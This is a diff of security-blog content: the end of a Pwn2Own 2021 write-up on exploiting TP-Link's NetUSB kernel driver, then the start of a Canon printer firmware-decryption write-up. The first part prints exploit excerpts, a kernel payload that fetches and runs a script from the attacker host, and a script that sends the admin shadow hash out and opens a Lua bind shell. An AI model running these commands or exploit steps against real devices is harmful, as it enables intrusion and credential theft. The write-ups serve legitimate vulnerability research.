+Well, as I mentioned earlier TP-Link is maintaining a GPL archive which has information on the Linux version they use, the patches they apply and supposedly everything necessary to build a kernel. I thought that was extremely nice of them and that it should give me a good starting point to be able to debug this driver under QEMU. I knew this wouldn't give me the most precise simulation environment but, at the same time, it would be a vast improvement with my current situation. I would be able to hook-up GDB, inspect the allocator state, and hopefully make progress.
+
+Turns out this was much harder than I thought. I started by trying to build the kernel via the GPL archive. In appearance, everything is there and a simple make should just work. But that didn't cut it. It took me weeks to actually get it to compile (right dependencies, patching bits here and there, ...), but I eventually did it. I had to try a bunch of toolchain versions, fix random files that would lead to errors on my Linux distribution, etc. To be honest I mostly forgot all the details here but I remember it being painful. If you are interested, I have zipped up the filesystem of this VM and you can find it here: [wheezy-openwrt-ath.tar.xz](https://github.com/0vercl0k/zenith/releases/download/v0/wheezy-openwrt-ath.tar.xz).
+
+I thought this was the end of my suffering but it was in fact not it. At all. The built kernel wouldn't boot in QEMU and would hang at boot time. I tried to understand what was going on, but it looked related to the emulated hardware and I was honestly out of my depth. I decided to look at the problem from a different angle. Instead, I downloaded a [Linux MIPS QEMU image](https://www.aurel32.net/info/debian_mips_qemu.php) from [aurel32's website](https://www.aurel32.net/info/debian_mips_qemu.php) that was booting just fine, and decided that I would try to merge both of the kernel configurations until I end up with a bootable image that has a configuration as close as possible from the kernel running on the device. Same kernel version, allocators, same drivers, etc. At least similar enough to be able to load the `NetUSB.ko` driver.
+
+Again, because I am a complete Linux noob I failed to really see the complexity there. So I got started on this journey where I must have compiled easily 100+ kernels until being able to load and execute the `NetUSB.ko` driver in QEMU. The main challenge that I failed to see was that in Linux land, configuration flags can change the size of internal structures. This means that if you are trying to run a driver A on kernel B, the driver A might mistake a structure to be of size C when it is in fact of size D. That's exactly what happened. Starting the driver in this QEMU image led to a ton of random crashes that I couldn't really explain at first. So I followed multiple rabbit holes until realizing that my kernel configuration was just not in agreement with what the driver expected. For example, the [net_device](https://elixir.bootlin.com/linux/v3.3.8/source/include/linux/netdevice.h#L1016) defined below shows that its definition varies depending on kernel configuration options being on or off: `CONFIG_WIRELESS_EXT`, `CONFIG_VLAN_8021Q`, `CONFIG_NET_DSA`, `CONFIG_SYSFS`, `CONFIG_RPS`, `CONFIG_RFS_ACCEL`, etc. But that's not all. Any types used by this structure can do the same which means that looking at the main definition of a structure is not enough.
+```C
+struct net_device {
+// ...
+#ifdef CONFIG_WIRELESS_EXT
+ /* List of functions to handle Wireless Extensions (instead of ioctl).
+ * See for details. Jean II */
+ const struct iw_handler_def * wireless_handlers;
+ /* Instance data managed by the core of Wireless Extensions. */
+ struct iw_public_data * wireless_data;
+#endif
+// ...
+#if IS_ENABLED(CONFIG_VLAN_8021Q)
+ struct vlan_info __rcu *vlan_info; /* VLAN info */
+#endif
+#if IS_ENABLED(CONFIG_NET_DSA)
+ struct dsa_switch_tree *dsa_ptr; /* dsa specific data */
+#endif
+// ...
+#ifdef CONFIG_SYSFS
+ struct kset *queues_kset;
+#endif
+
+#ifdef CONFIG_RPS
+ struct netdev_rx_queue *_rx;
+
+ /* Number of RX queues allocated at register_netdev() time */
+ unsigned int num_rx_queues;
+
+ /* Number of RX queues currently active in device */
+ unsigned int real_num_rx_queues;
+
+#ifdef CONFIG_RFS_ACCEL
+ /* CPU reverse-mapping for RX completion interrupts, indexed
+ * by RX queue number. Assigned by driver. This must only be
+ * set if the ndo_rx_flow_steer operation is defined. */
+ struct cpu_rmap *rx_cpu_rmap;
+#endif
+#endif
+//...
+};
+```
+
+Once I figured that out, I went through a pretty lengthy process of trial and error. I would start the driver, get information about the crash and try to look at the code / structures involved and see if a kernel configuration option would impact the layout of a relevant structure. From there, I could see the difference between the kernel configuration for my bootable QEMU image and the kernel I had built from the GPL and see where were mismatches. If there was one, I could simply turn the option on or off, recompile and hope that it doesn't make the kernel unbootable under QEMU.
+
+After at least 136 compilations (the number of times I found `make ARCH=mips` in one of my `.bash_history` 😅) and an enormous amount of frustration, I eventually built a Linux kernel version able to run `NetUSB.ko` 😲:
+```bash
+over@panther:~/pwn2own$ qemu-system-mips -m 128M -nographic -append "root=/dev/sda1 mem=128M" -kernel linux338.vmlinux.elf -M malta -cpu 74Kf -s -hda debian_wheezy_mips_standard.qcow2 -net nic,netdev=network0 -netdev user,id=network0,hostfwd=tcp:127.0.0.1:20005-10.0.2.15:20005,hostfwd=tcp:127.0.0.1:33344-10.0.2.15:33344,hostfwd=tcp:127.0.0.1:31337-10.0.2.15:31337
+[...]
+root@debian-mips:~# ./start.sh
+[ 89.092000] new slab @ 86964000
+[ 89.108000] kcg 333 :GPL NetUSB up!
+[ 89.240000] NetUSB: module license 'Proprietary' taints kernel.
+[ 89.240000] Disabling lock debugging due to kernel taint
+[ 89.268000] kc 90 : run_telnetDBGDServer start
+[ 89.272000] kc 227 : init_DebugD end
+[ 89.272000] INFO17F8: NetUSB 1.02.69, 00030308 : Jun 11 2015 18:15:00
+[ 89.272000] INFO17FA: 7437: Archer C7 :Archer C7
+[ 89.272000] INFO17FB: AUTH ISOC
+[ 89.272000] INFO17FC: filterAudio
+[ 89.272000] usbcore: registered new interface driver KC NetUSB General Driver
+[ 89.276000] INFO0145: init proc : PAGE_SIZE 4096
+[ 89.280000] INFO16EC: infomap 869c6e38
+[ 89.280000] INFO16EF: sleep to wait eth0 to wake up
+[ 89.280000] INFO15BF: tcpConnector() started... : eth0
+NetUSB 160207 0 - Live 0x869c0000 (P)
+GPL_NetUSB 3409 1 NetUSB, Live 0x8694f000
+root@debian-mips:~# [ 92.308000] INFO1572: Bind to eth0
+```
+
+For the readers that would like to do the same, here are some technical details that they might find useful (I probably forgot most of the other ones):
+- I used `debootstrap` to easily be able to install older Linux distributions until one worked fine with package dependencies, older libc, etc. I used a Debian Wheezy (7.11) distribution to build the GPL code from TP-Link as well as cross-compiling the kernel. I uploaded archives of those two systems: [wheezy-openwrt-ath.tar.xz](https://github.com/0vercl0k/zenith/releases/download/v0/wheezy-openwrt-ath.tar.xz) and [wheezy-compile-kernel.tar.xz](https://github.com/0vercl0k/zenith/releases/download/v0/wheezy-compile-kernel.tar.xz). You should be able to extract those on a regular Ubuntu Intel x64 VM and `chroot` in those folders and **SHOULD** be able to reproduce what I described. Or at least, be very close from reproducing.
+- I cross compiled the kernel using the following toolchain: `toolchain-mips_r2_gcc-4.6-linaro_uClibc-0.9.33.2` (`gcc (Linaro GCC 4.6-2012.02) 4.6.3 20120201 (prerelease)`). I used the following command to compile the kernel: `$ make ARCH=mips CROSS_COMPILE=/home/toolchain-mips_r2_gcc-4.6-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux- -j8 vmlinux`. You can find the toolchain in [wheezy-openwrt-ath.tar.xz](https://github.com/0vercl0k/zenith/releases/download/v0/wheezy-openwrt-ath.tar.xz) which is downloaded / compiled from the GPL code, or you can grab the binaries directly off [wheezy-compile-kernel.tar.xz](https://github.com/0vercl0k/zenith/releases/download/v0/wheezy-compile-kernel.tar.xz).
+- You can find the command line I used to start QEMU in [start_qemu.sh](https://github.com/0vercl0k/zenith/blob/main/misc/start_qemu.sh) and [dbg.sh](https://github.com/0vercl0k/zenith/blob/main/misc/dbg.sh) to attach GDB to the kernel.
+
+# Enters Zenith
+
+Once I was able to attach GDB to the kernel I finally had an environment where I could get as much introspection as I needed. Note that because of all the modifications I had done to the kernel config, I didn't really know if it would be possible to port the exploit to the real target. But I also didn't have an exploit at the time, so I figured this would be another problem to solve later if I even get there.
+
+I started to read a lot of code, documentation and papers about Linux kernel exploitation. The linux kernel version was old enough that it didn't have a bunch of more recent mitigations. This gave me some hope. I spent quite a bit of time trying to exploit the overflow from above. In [Exploiting the Linux kernel via packet sockets](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html) [Andrey Konovalov](https://twitter.com/andreyknvl) describes in details an attack that looked like could work for the bug I had found. Also, read the article as it is both well written and fascinating. The overall idea is that kmalloc internally uses the buddy allocator to get pages off the kernel and as a result, we might be able to place the buddy page that we can overflow right before pages used to store a kmalloc slab. If I remember correctly, my strategy was to drain the order 0 freelist (blocks of memory that are 0x1000 bytes) which would force blocks from the higher order to be broken down to feed the freelist. I imagined that a block from the order 1 freelist could be broken into 2 chunks of 0x1000 which would mean I could get a 0x1000 block adjacent to another 0x1000 block that could be now used by a kmalloc-1024 slab. I struggled and tried a lot of things and never managed to pull it off. I remember the bug had a few annoying things I hadn't realized when finding it, but I am sure a more experienced Linux kernel hacker could have written an exploit for this bug.
+
+I thought, oh well. Maybe there's something better. Maybe I should focus on looking for a similar bug but in a kmalloc'd region as I wouldn't have to deal with the same problems as above. I would still need to worry about being able to place the buffer adjacent to a juicy corruption target though. After looking around for a bit longer I found another integer overflow:
+```c
+void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode)
+{
+ // ...
+ switch (OpcodeMasked) {
+ case 0x50:
+ if (SoftwareBus_fillBuf(SbusConnection, ReceiveBuffer, 4)) {
+ ReceivedSize = _bswapw(*(uint32_t*)ReceiveBuffer);
+ AllocatedBuffer = _kmalloc(ReceivedSize + 17, 208);
+ if (!AllocatedBuffer) {
+ return kc_printf("INFO%04X: Out of memory in USBSoftwareBus", 4296);
+ }
+ // ...
+ if (!SoftwareBus_fillBuf(SbusConnection, AllocatedBuffer + 16, ReceivedSize))
+```
+
+Cool. But at this point, I was a bit out of my depth. I was able to overflow kmalloc-128 but didn't really know what type of useful objects I would be able to put there from over the network. After a bunch of trial and error I started to notice that if I was taking a small pause after the allocation of the buffer but before overflowing it, an interesting structure would be magically allocated fairly close from my buffer. To this day, I haven't fully debugged where it exactly came from but as this was my only lead I went along with it.
+
+The target kernel doesn't have ASLR and doesn't have NX, so my exploit is able to hardcode addresses and execute the heap directly which was nice. I can also place arbitrary data in the heap using the various allocation functions I had reverse-engineered earlier. For example, triggering a 3MB large allocation always returned a fixed address where I could stage content. To get this address, I simply patched the driver binary to output the address on the real device after the allocation as I couldn't debug it.
+```py
+# (gdb) x/10dwx 0xffffffff8522a000
+# 0x8522a000: 0xff510000 0x1000ffff 0xffff4433 0x22110000
+# 0x8522a010: 0x0000000d 0x0000000d 0x0000000d 0x0000000d
+# 0x8522a020: 0x0000000d 0x0000000d
+addr_payload = 0x83c00000 + 0x10
+
+# ...
+
+def main(stdscr):
+ # ...
+ # Let's get to business.
+ _3mb = 3 * 1_024 * 1_024
+ payload_sprayer = SprayerThread(args.target, 'payload sprayer')
+ payload_sprayer.set_length(_3mb)
+ payload_sprayer.set_spray_content(payload)
+ payload_sprayer.start()
+ leaker.wait_for_one()
+ sprayers.append(payload_sprayer)
+ log(f'Payload placed @ {hex(addr_payload)}')
+ y += 1
+```
+
+My final exploit, [Zenith](https://github.com/0vercl0k/zenith), overflows an adjacent `wait_queue_head_t.head.next` structure that is placed by the socket stack of the Linux kernel with the address of a crafted `wait_queue_entry_t` under my control (`Trasher` class in the exploit code). This is the definition of the structure:
+
+```C
+struct wait_queue_head {
+ spinlock_t lock;
+ struct list_head head;
+};
+
+struct wait_queue_entry {
+ unsigned int flags;
+ void *private;
+ wait_queue_func_t func;
+ struct list_head entry;
+};
+```
+
+This structure has a function pointer, `func`, that I use to hijack the execution and redirect the flow to a fixed location, in a large kernel heap chunk where I previously staged the payload (`0x83c00000` in the exploit code). The function invoking the `func` function pointer is `__wake_up_common` and you can see its code below:
+
+```C
+static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
+ int nr_exclusive, int wake_flags, void *key)
+{
+ wait_queue_t *curr, *next;
+
+ list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
+ unsigned flags = curr->flags;
+
+ if (curr->func(curr, mode, wake_flags, key) &&
+ (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
+ break;
+ }
+}
+```
+
+This is what it looks like in GDB once `q->head.next/prev` has been corrupted:
+```text
+(gdb) break *__wake_up_common+0x30 if ($v0 & 0xffffff00) == 0xdeadbe00
+
+(gdb) break sock_recvmsg if msg->msg_iov[0].iov_len == 0xffffffff
+
+(gdb) c
+Continuing.
+sock_recvmsg(dst=0xffffffff85173390)
+
+Breakpoint 2, __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
+ at kernel/sched/core.c:3375
+3375 kernel/sched/core.c: No such file or directory.
+
+(gdb) p *q
+$1 = {lock = {{rlock = {raw_lock = {}}}}, task_list = {next = 0xdeadbee1,
+ prev = 0xbaadc0d1}}
+
+(gdb) bt
+#0 __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
+ at kernel/sched/core.c:3375
+#1 0x80141ea8 in __wake_up_sync_key (q=, mode=,
+ nr_exclusive=, key=) at kernel/sched/core.c:3450
+#2 0x8045d2d4 in tcp_prequeue (skb=0x87eb4e40, sk=0x851e5f80) at include/net/tcp.h:964
+#3 tcp_v4_rcv (skb=0x87eb4e40) at net/ipv4/tcp_ipv4.c:1736
+#4 0x8043ae14 in ip_local_deliver_finish (skb=0x87eb4e40) at net/ipv4/ip_input.c:226
+#5 0x8040d640 in __netif_receive_skb (skb=0x87eb4e40) at net/core/dev.c:3341
+#6 0x803c50c8 in pcnet32_rx_entry (entry=, rxp=0xa0c04060, lp=0x87d08c00,
+ dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1199
+#7 pcnet32_rx (budget=16, dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1212
+#8 pcnet32_poll (napi=0x87d08c5c, budget=16) at drivers/net/ethernet/amd/pcnet32.c:1324
+#9 0x8040dab0 in net_rx_action (h=) at net/core/dev.c:3944
+#10 0x801244ec in __do_softirq () at kernel/softirq.c:244
+#11 0x80124708 in do_softirq () at kernel/softirq.c:293
+#12 do_softirq () at kernel/softirq.c:280
+#13 0x80124948 in invoke_softirq () at kernel/softirq.c:337
+#14 irq_exit () at kernel/softirq.c:356
+#15 0x8010198c in ret_from_exception () at arch/mips/kernel/entry.S:34
+```
+
+Once the `func` pointer is invoked, I get control over the execution flow and I execute a [simple kernel payload](https://github.com/0vercl0k/zenith/blob/main/src/sh.remote.asm) that leverages `call_usermodehelper_setup` / `call_usermodehelper_exec` to execute user mode commands as root. It pulls a shell script off a listening HTTP server on the attacker machine and executes it.
+```text
+arg0: .asciiz "/bin/sh"
+arg1: .asciiz "-c"
+arg2: .asciiz "wget http://{ip_local}:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh"
+argv: .word arg0
+ .word arg1
+ .word arg2
+envp: .word 0
+```
+
+The [pwn.sh](https://github.com/0vercl0k/zenith/blob/main/src/pwn_base.sh) shell script simply leaks the `admin`'s `shadow` hash, and opens a bindshell (cheers to [Thomas Chauchefoin](https://twitter.com/swapgs) and [Kevin Denis](https://twitter.com/0xMitsurugi) for the Lua oneliner) the attacker can connect to (if the kernel hasn't crashed yet 😳):
+```bash
+#!/bin/sh
+export LPORT=31337
+wget http://{ip_local}:8000/pwd?$(grep -E admin: /etc/shadow)
+lua -e 'local k=require("socket");
+ local s=assert(k.bind("*",os.getenv("LPORT")));
+ local c=s:accept();
+ while true do
+ local r,x=c:receive();local f=assert(io.popen(r,"r"));
+ local b=assert(f:read("*a"));c:send(b);
+ end;c:close();f:close();'
+```
+
+The exploit also uses the debug interface that I mentioned earlier as it leaks kernel-mode pointers and is overall useful for basic synchronization (cf the `Leaker` class).
+
+OK at that point, it works in QEMU... which is pretty wild. Never thought it would. Ever. What's also wild is that I am still in time for the Pwn2Own registration, so maybe this is also possible 🤔. Reliability wise, it worked well enough on the QEMU environment: about 3 times about 5 I would say. Good enough.
+
+I started to port over the exploit to the real device and to my surprise it also worked there as well. The reliability was poorer but I was impressed that it still worked. Crazy. Especially with both the hardware and the kernel being different! As I still wasn't able to debug the target's kernel I was left with `dmesg` outputs to try to make things better. Tweak the spray here and there, try to go faster or slower; trying to find a magic combination. In the end, I didn't find anything magic; the exploit was unreliable but hey I only needed it to land once on stage 😅. This is what it looks like when the stars align 💥:
+
+
+
+Beautiful. Time to register!
+
+# Entering the contest
+As the contest was fully remote (bummer!) because of COVID-19, contestants needed to provide exploits and documentation prior to the contest. Fully remote meant that the ZDI stuff would throw our exploits on the environment they had set-up.
+
+At that point we had two exploits and that's what we registered for. Right after receiving confirmation from ZDI, I noticed that TP-Link pushed an update for the router 😳. I thought Damn. I was at work when I saw the news and was stressed about the bug getting killed. Or worried that the update could have changed anything that my exploit was relying on: the kernel, etc. I finished my day at work and pulled down the firmware from the website. I checked the release notes while the archive was downloading but it didn't have any hints suggesting that they had updated either NetUSB or the kernel which was.. good. I extracted the file off the firmware file with `binwalk` and quickly verified the `NetUSB.ko` file. I grabbed a hash and ... it was the same. Wow. What a relief 😮💨.
+
+When the time of demonstrating my exploit came, it unfortunately didn't land in the three attempts which was a bit frustrating. Although it was frustrating, I knew from the beginning that my odds weren't the best entering the contest. I remembered that I originally didn't even think that I'd be able to compete and so I took this experience as a win on its own.
+
+On the bright side, my teammates were real pros and landed their exploits which was awesome to see 🍾🏆.
+
+# Wrapping up
+
+Participating in Pwn2Own had been on my todo list for the longest time so seeing that it could be done felt great. I also learned a lot of lessons while doing it:
+
+- Attacking the kernel might be cool, but it is an absolute pain to debug / set-up an environment. I probably would not go that route again if I was doing it again.
+- Vendor patching bugs at the last minute can be stressful and is really not fun. My teammate got their first exploit killed by an update which was annoying. Fortunately, they were able to find another vulnerability and this one stayed alive.
+- Getting a root shell on the device ASAP is a good idea. I initially tried to find a post auth vulnerability statically to get a root shell but that was wasted time.
+- The Ghidra disassembler decompiles MIPS32 code pretty well. It wasn't perfect but a net positive.
+- I also realized later that the same driver was running on the Netgear router and was reachable from the WAN port. I wasn't in it for the money but maybe it would be good for me to do a better job at taking a look at more than a target instead of directly diving deep into one exclusively.
+- The ZDI team is awesome. They are rooting for you and want you to win. No, really. Don't hesitate to reach out to them with questions.
+- Higher payouts don't necessarily mean a harder target.
+
+You can find all the code and scripts in the [zenith](https://github.com/0vercl0k/zenith) Github repository. If you want to read more about NetUSB here are a few more references:
+
+- [CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS) - blasty-vs-netusb.py](https://haxx.in/files/blasty-vs-netusb.py) by [bl4sty](https://twitter.com/bl4sty)
+- [CVE-2021-45608 | NetUSB RCE Flaw in Millions of End User Routers](https://www.sentinelone.com/labs/cve-2021-45608-netusb-rce-flaw-in-millions-of-end-user-routers/) by [maxpl0it](https://twitter.com/maxpl0it)
+
+I hope you enjoyed the post and I'll see you next time 😊! Special thanks to my boi [yrp604](https://twitter.com/yrp604) for coming up with the title and thanks again to both [yrp604](https://twitter.com/yrp604) and [__x86](https://twitter.com/__x86) for proofreading this article 🙏🏽.
+
+Oh, and come hangout on [Diary of reverse-engineering's Discord server](https://discord.gg//4JBWKDNyYs) with us!
\ No newline at end of file
diff --git a/content/articles/exploitation/2022-06-11-pwn2own-2021-canon-imageclass-mf644cdw-writeup.markdown b/content/articles/exploitation/2022-06-11-pwn2own-2021-canon-imageclass-mf644cdw-writeup.markdown
new file mode 100644
index 0000000..090c076
--- /dev/null
+++ b/content/articles/exploitation/2022-06-11-pwn2own-2021-canon-imageclass-mf644cdw-writeup.markdown
@@ -0,0 +1,857 @@
+Title: Pwn2Own 2021 Canon ImageCLASS MF644Cdw writeup
+Date: 2022-06-11 08:00
+Tags: Pwn2Own Austin, printers, canon, MF644Cdw, ImageCLASS, CVE-2022-24674, ZDI-22-516, exploitation, memory-corruption
+Authors: Nicolas "NK" Devillers & Jean-Romain "JRomainG" Garnier & Raphaël "_trou_" Rigo
+
+# Introduction
+
+[Pwn2Own Austin 2021](https://www.zerodayinitiative.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more) was announced in August 2021 and introduced new categories, including printers. Based on our previous experience with printers, we decided to go after one of the three models. Among those, the [Canon ImageCLASS MF644Cdw](https://www.usa.canon.com/internet/portal/us/home/products/details/printers/color-laser/color-imageclass-mf644cdw) seemed like the most interesting target: previous research was limited (mostly targeting Pixma inkjet printers). Based on this, we started analyzing the firmware before even having bought the printer.
+
+Our team was composed of 3 members:
+
+- Nicolas Devillers ([@nikaiw](https://twitter.com/nikaiw)),
+- Jean-Romain Garnier ([@JRomainG](https://twitter.com/JRomainG)),
+- Raphaël Rigo ([@\_trou\_](https://twitter.com/_trou_)).
+
+**Note:** This writeup is based on version 10.02 of the printer's firmware, the latest available at the time of Pwn2Own.
+
+[TOC]
+
+# Firmware extraction and analysis
+
+## Downloading firmware
+
+The Canon website is interesting: you cannot download the firmware for a particular model without having a serial number which matches that model. This, as you might guess, is particularly annoying when you want to download a firmware for a model you do not own. Two options came to our mind:
+
+- Finding a picture of the model in a review or listing,
+- Finding a serial number of the same model on Shodan.
+
+Thankfully, the MFC644cdw was [reviewed](https://www.pcmag.com/reviews/canon-color-imageclass-mf644cdw) in details by PCmag, and one of the pictures contained the serial number of the printer used for the review. This allowed us to download a firmware from the Canon USA [website](https://www.usa.canon.com/internet/portal/us/home/support/details/printers/color-laser/color-imageclass-mf644cdw). The version available online at the time on that website was `06.03`.
+
+### Predicting firmware URLs
+
+As a side note, once the serial number was obtained, we could download several version of the firmware, for different operating systems. For example, version `06.03` for macOS has the following filename: `mac-mf644-a-fw-v0603-64.dmg` and the associated download link is `https://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do?id=OTUwMzkyMzJk&cmp=ABR&lang=EN`. As the URL implies, this page asks for the serial number and redirects you to the actual firmware if the serial is valid. In that case: `https://gdlp01.c-wss.com/gds/5/0400006275/01/mac-mf644-a-fw-v0603-64.dmg`.
+
+Of course, the base64 encoded `id` in the first URL is interesting: once decoded, you get the (literal string) `95039232d`, which in turn, is the hex representation of `40000627501`, which is part of the actual firmware URL!
+
+A few more examples led us to understand that the part of the URL with the single digit (`/5/` in our case) is just the last digit of the next part of the URL's path (`/0400006275/` in this example). We assume this is probably used for load balancing or another similar reason. Using this knowledge, we were able to download a _lot_ of different firmware images for various models. We also found out that Canon pages for USA or Europe are not as current as the [Japanese page](https://cweb.canon.jp/drv-upd/satera-mfp/mf644cdw-firm-win.html) which had version `09.01` at the time of writing.
+
+However, all of them lag behind the reality: the latest firmware version was `10.02`, which is actually retrieved by the printer's firmware update mechanism. `https://gdlp01.c-wss.com/rmds/oi/fwupdate/mf640c_740c_lbp620c_660c/contents.xml` gives us the actual up-to-date version.
+
+### Firmware types
+
+A small note about firmware "types". The update XML has 3 different entries per content kind:
+
+```xml
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+```
+
+Which correspond to:
+
+- `gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEA_V10.02.bin`
+- `gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEB_V10.02.bin`
+- `gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEC_V10.02.bin`
+
+Each type corresponds to one of the models listed in the XML URL:
+
+- MF640C => TYPEA
+- MF740C => TYPEB
+- LBP620C => TYPEC
+
+## Decryption: black box attempts
+### Basic firmware extraction
+Windows updates such as `win-mf644-a-fw-v0603.exe` are Zip SFX files, which contain the actual updater: `mf644c_v0603_typea_w.exe`. This is the end of the PE file as seen in [Hiew](http://hiew.ru):
+
+```text
+004767F0: 58 50 41 44-44 49 4E 47-50 41 44 44-49 4E 47 58 XPADDINGPADDINGX
+00072C00: 4E 43 46 57-00 00 00 00-3D 31 5D 08-20 00 00 00 NCFW =1]
+```
+
+As you can see (the address changes from RVA to physical offset), the firmware update seems to be stored at the end of the PE as an overlay, and conveniently starts with a `NCFW` magic header. MacOS firmware updates can be extracted with 7z and contain a big file: `mf644c_v0603_typea_m64.app/Contents/Resources/.USTBINDDATA` which is almost the same as the Windows overlay except for the PE signature, and some offsets.
+
+After looking at a bunch of firmware, it became clear that the footer of the update contains information about various parts of the firmware update, including a nice `USTINFO.TXT` file which describes the target model, etc. The `NCFW` magic also appears several times in the biggest "file" described by the UST footer. After some trial and error, its format was understood and allowed us to split the firmware into its basic components.
+
+All this information was compiled into the [unpack_fw.py](/images/pwn2own_2021_canon_imageclass_mf644cdw_writeup/unpack_fw.py) script.
+
+### Weak encryption, but how weak?
+
+The main firmware file `Bootable.bin.sig` is encrypted, but it seems encrypted with a very simple algorithm, as we can determine by looking at the patterns:
+
+```text
+00000040 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F !"#$%&'()*+,-./
+00000050 30 31 32 33 34 35 36 37 38 39 3A 3B 39 FC E8 7A 0123456789:;9..z
+00000060 34 35 4F 50 44 45 46 37 48 49 CA 4B 4D 4E 4F 50 45OPDEF7HI.KMNOP
+00000070 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 QRSTUVWXYZ[\]^_`
+```
+
+The usual assumption of having big chunks of `00` or `FF` in the plaintext firmware allows us to have different hypothesis about the potential encryption algorithm. The increasing numbers most probably imply some sort of byte counter. We then tried to combine it with some basic operations and tried to decrypt:
+
+- A xor with a byte counter => fail
+- A xor with counter and feedback => fail
+
+Attempting to use a known plaintext (where the plaintext is not `00` or `FF`) was impossible at this stage as we did not have a decrypted firmware image yet. Having a reverser in the team, the obvious next step was to try to find code which implements the decryption:
+
+- The updater tool does not decrypt the firmware but sends it as-is => fail
+- Check the firmware of previous models to try to find unencrypted code which
+ supports encrypted "NCFW" updates:
+ - FAIL
+ - However, we found unencrypted firmware files with a similar structure which
+ gave use a bit of known plaintext, but did not give any real clue about the
+ solution
+
+# Hardware: first look
+
+## Main board and serial port
+
+Once we received the printer, we of course started dismantling it to look for interesting hardware features and ways to help us get access to the firmware.
+
+
+
+
+
+
+- Looking at the hardware we considered these different approaches to obtain more information:
+ - An SPI is present on the mainboard, read it
+
+
+
+ - An Unsolder eMMC is present on the mainboard, read it
+ - Find an older model, with unencrypted firmware and simpler flash to unsolder, read, profit. Fortunately, we did not have to go further in this direction.
+ - Some printers are known to have a [serial port for debug](https://chdk.fandom.com/wiki/DryOS_PIXMA_Printer_Shell) providing a mini shell. Find one and use it to run debug commands in order to get plaintext/memory dump (**NOTE** _of course_ we found the serial port afterwards)
+
+
+
+
+## Service mode
+
+All enterprise printers have a service mode, intended for technicians to diagnose potential problems. YouTube is a good source of info on how to enter it. On this model, the dance is a [bit weird](https://www.youtube.com/watch?v=eOhFyqYO9-8) as one must press "invisible" buttons. Once in service mode, debug logs can be dumped on a USB stick, which creates several files:
+
+- `SUBLOG.TXT`
+- `SUBLOG.BIN` is obviously `SUBLOG.TXT`, encrypted with an algorithm which exhibits the same patterns as the encrypted firmware.
+
+## Decrypting firmware
+
+### Program synthesis approach
+
+At this point, this was our train of thought:
+
+- The encryption algorithm seemed "trivial" (lots of patterns, byte by byte)
+- `SUBLOG.TXT` gave us lots of plaintext
+- We were too lazy to find it by blackbox/reasoning
+
+As program synthesis has evolved quite fast in the past years, we decided to try to get a tool to synthesize the decryption algorithm for us. We of course used the known plaintext from `SUBLOG.TXT`, which can be used as constraints. [Rosette](https://emina.github.io/rosette) seemed easy to use and well suited, so we went with that. We started following a nice [tutorial](https://www.cs.utexas.edu/~bornholt/post/building-synthesizer.html) which worked over the integers, but gave us a bit of a headache when trying to directly convert it to `bitvectors`.
+
+However, we quickly realized that we didn't have to `synthesize` a program (for all inputs), but actually `solve` an equation where the unknown was the program which would satisfy all the constraints built using the known plaintext/ciphertext pairs. The "Essential" guide to Rosette covers this in an [example](https://docs.racket-lang.org/rosette-guide/ch_essentials.html#%28part._sec~3asynthesize%29) for us. So we started by defining the "program" grammar and `crypt` function, which
+defines a program using the grammar, with two operands, up to 3 layers deep:
+
+```racket
+(define int8? (bitvector 8))
+(define (int8 i)
+ (bv i int8?))
+
+(define-grammar (fast-int8 x y) ; Grammar of int32 expressions over two inputs:
+ [expr
+ (choose x y (?? int8?) ; := x | y | <32-bit integer constant> |
+ ((bop) (expr) (expr)) ; () |
+ ((uop) (expr)))] ; ()
+ [bop
+ (choose bvadd bvsub bvand ; := bvadd | bvsub | bvand |
+ bvor bvxor bvshl ; bvor | bvxor | bvshl |
+ bvlshr bvashr)] ; bvlshr | bvashr
+ [uop
+ (choose bvneg bvnot)]) ; := bvneg | bvnot
+
+(define (crypt x i)
+ (fast-int8 x i #:depth 3))
+```
+
+Once this is done, we can define the constraints, based on the known plain/encrypted pairs and their position (byte counter `i`). And then we ask Rosette for an instance of the `crypt` program which satisfies the constraints:
+
+```racket
+(define sol (solve
+ (assert
+; removing constraints speed things up
+ (&& (bveq (crypt (int8 #x62) (int8 0)) (int8 #x3d))
+; [...]
+ (bveq (crypt (int8 #x69) (int8 7)) (int8 #x3d))
+ (bveq (crypt (int8 #x06) (int8 #x16)) (int8 #x20))
+ (bveq (crypt (int8 #x5e) (int8 #x17)) (int8 #x73))
+ (bveq (crypt (int8 #x5e) (int8 #x18)) (int8 #x75))
+ (bveq (crypt (int8 #xe8) (int8 #x19)) (int8 #x62))
+; [...]
+ (bveq (crypt (int8 #xc3) (int8 #xe0)) (int8 #x3a))
+ (bveq (crypt (int8 #xef) (int8 #xff)) (int8 #x20))
+ )
+ )
+ ))
+
+(print-forms sol)
+```
+
+After running `racket rosette.rkt` and waiting for a few minutes, we get the following output:
+
+```racket
+(list 'define '(crypt x i)
+ (list
+ 'bvor
+ (list 'bvlshr '(bvsub i x) (list 'bvadd (bv #x87 8) (bv #x80 8)))
+ '(bvsub (bvadd i i) (bvadd x x))))
+```
+
+which is a valid decryption program ! But it's a bit untidy. So let's convert it to C, with a trivial simplification:
+
+```C
+uint8_t crypt(uint8_t i, uint8_t x) {
+ uint8_t t = i-x;
+ return (((2*t)&0xFF)|((t>>((0x87+0x80)&0xFF))&0xFF))&0xFF;
+}
+```
+
